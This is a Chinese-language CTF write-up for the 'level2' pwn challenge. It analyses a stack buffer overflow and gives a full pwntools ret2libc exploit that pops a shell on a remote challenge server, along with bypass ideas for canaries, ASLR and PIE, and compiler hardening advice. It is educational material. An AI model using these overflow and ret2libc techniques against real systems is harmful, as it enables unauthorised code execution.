1. 漏洞环境与程序分析
1.1 文件基础信息检测
拿到一个二进制文件时,我习惯先用file命令查看基础信息:
bash复制$ file level2
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e5270a5a5a6a9e24867b958a9a0ddf436a5b4f6e, not stripped
关键信息解读:
- 32位ELF可执行文件(Intel 80386架构)
- 动态链接(需要libc等动态库)
- 未去除符号表(not stripped),逆向分析会更方便
接着用checksec检查安全防护:
bash复制$ checksec --file=level2
[*] '/tmp/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
防护措施分析:
- NX enabled:堆栈不可执行,直接注入shellcode的方式失效
- No canary:没有栈溢出保护,存在缓冲区溢出可能
- No PIE:代码段地址固定,便于计算偏移
1.2 逆向工程关键发现
用IDA Pro打开程序,定位到main函数(快捷键F5反编译):
c复制int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
继续追踪vulnerable_function:
c复制ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h]
return read(0, buf, 0x100u);
}
漏洞点非常明显:
- 栈上分配了136字节的buf缓冲区
- read函数允许读取0x100(256)字节
- 存在120字节(256-136)的溢出空间
通过EBP偏移计算(0x88=136):
- 需要填充136字节覆盖缓冲区
- 再加4字节覆盖保存的EBP
- 最后4字节就能控制EIP
2. 漏洞利用方案选择
2.1 常见利用方式对比
| 利用技术 | 适用条件 | 本案例可行性 | 原因分析 |
|---|---|---|---|
| ret2text | 程序中有现成shell代码 | ❌ | 搜索不到/bin/sh或execve |
| ret2shellcode | 可执行栈且能注入代码 | ❌ | NX保护使栈不可执行 |
| ret2syscall | 能找到系统调用gadget链 | ❌ | 缺乏必要的ROP gadget |
| ret2libc | 能泄漏或已知libc函数地址 | ✅ | 有system和/bin/sh的引用 |
2.2 ret2libc可行性验证
在IDA中查找关键符号:
- system函数:.plt段中有system@plt(地址0x08048320)
- 字符串引用:发现/bin/sh字符串(地址0x0804A024)
python复制$ rabin2 -z level2 | grep bin/sh
vaddr=0x0804a024 paddr=0x00001024 ordinal=000 sz=7 len=6 section=.data string=/bin/sh
通过objdump确认调用约定:
bash复制$ objdump -d -M intel level2 | grep -A5 "<system@plt>"
08048320 <system@plt>:
8048320: ff 25 10 a0 04 08 jmp DWORD PTR ds:0x804a010
8048326: 68 08 00 00 00 push 0x8
804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x30>
3. 漏洞利用实战开发
3.1 攻击载荷构造原理
32位程序函数调用栈帧结构:
code复制| buffer填充 (136) |
| 保存的EBP (4) |
| 返回地址 (4) | ← 控制EIP的位置
| 参数区域 |
构造顺序:
- 填充136字节垃圾数据
- 覆盖4字节EBP(内容无关)
- 覆盖返回地址为system@plt
- 按cdecl调用约定:
- 返回后地址(4字节占位)
- 第一个参数(/bin/sh地址)
3.2 Python利用代码详解
完整exp代码:
python复制from pwn import *
context(arch='i386', os='linux', log_level='debug')
# 远程连接配置
p = remote("node5.buuoj.cn", 29538)
# 关键地址
system_plt = 0x08048320 # system@plt
bin_sh = 0x0804A024 # /bin/sh字符串地址
# 载荷构造
payload = flat(
b'A' * 140, # 填充136+4
system_plt, # 覆盖返回地址
b'BBBB', # system返回地址(无用)
bin_sh # system参数
)
# 交互过程
p.sendline(payload)
p.interactive()
关键点说明:
flat()函数自动处理整数到字节序列的转换- 140=136(buf)+4(ebp)的精确计算
- "BBBB"是system执行后的返回地址(实际不需要)
- 最后跟的是system的参数地址
3.3 本地测试与调试技巧
建议先本地测试:
bash复制$ socat tcp-l:9999,reuseaddr,fork exec:./level2
调试技巧:
- 在payload发送前加
pause() - 使用
gdb.attach(p)附加调试 - 通过
cyclic(200)生成测试pattern定位偏移
4. 进阶技术与问题排查
4.1 无libc情况下的利用
如果程序没有直接引用system和/bin/sh:
- 泄漏libc地址(如puts@got)
- 计算libc基址
- 定位system和/bin/sh偏移
- 构造两次payload(泄漏+攻击)
4.2 常见错误与解决方案
| 错误现象 | 可能原因 | 解决方案 |
|---|---|---|
| 段错误(Segmentation fault) | 地址不对齐或不可读 | 检查地址有效性(readelf -a) |
| 无shell弹出 | 参数传递错误 | 确认调用约定(cdecl/stdcall) |
| 连接立即关闭 | 栈破坏导致程序崩溃 | 调整填充长度和返回地址 |
4.3 防护绕过思路
针对现代防护的演进方案:
- RELRO全开:考虑用_dl_runtime_resolve
- ASLR启用:通过信息泄漏获取地址
- Stack Canary:先泄漏canary值
- PIE启用:计算相对偏移
5. 防御方案与安全建议
5.1 开发者防护措施
- 编译时添加栈保护:
bash复制gcc -fstack-protector-all -z noexecstack -D_FORTIFY_SOURCE=2 level2.c
- 使用更安全的函数:
c复制// 替换read
fgets(buf, sizeof(buf), stdin);
- 关键函数地址随机化:
bash复制echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
5.2 二进制加固建议
- 去除调试符号:
bash复制strip --strip-all level2
- 关键函数隐藏:
bash复制objcopy --keep-symbol=main level2 level2_stripped
- 使用静态编译:
bash复制gcc -static level2.c -o level2_static
这个案例展示了最基本的ret2libc技术实现。在实际渗透测试中,往往需要结合信息泄漏、ROP链构造等更复杂的技术。建议通过CTF比赛中的pwn题型系统学习内存漏洞利用技术,从简单到复杂逐步提升。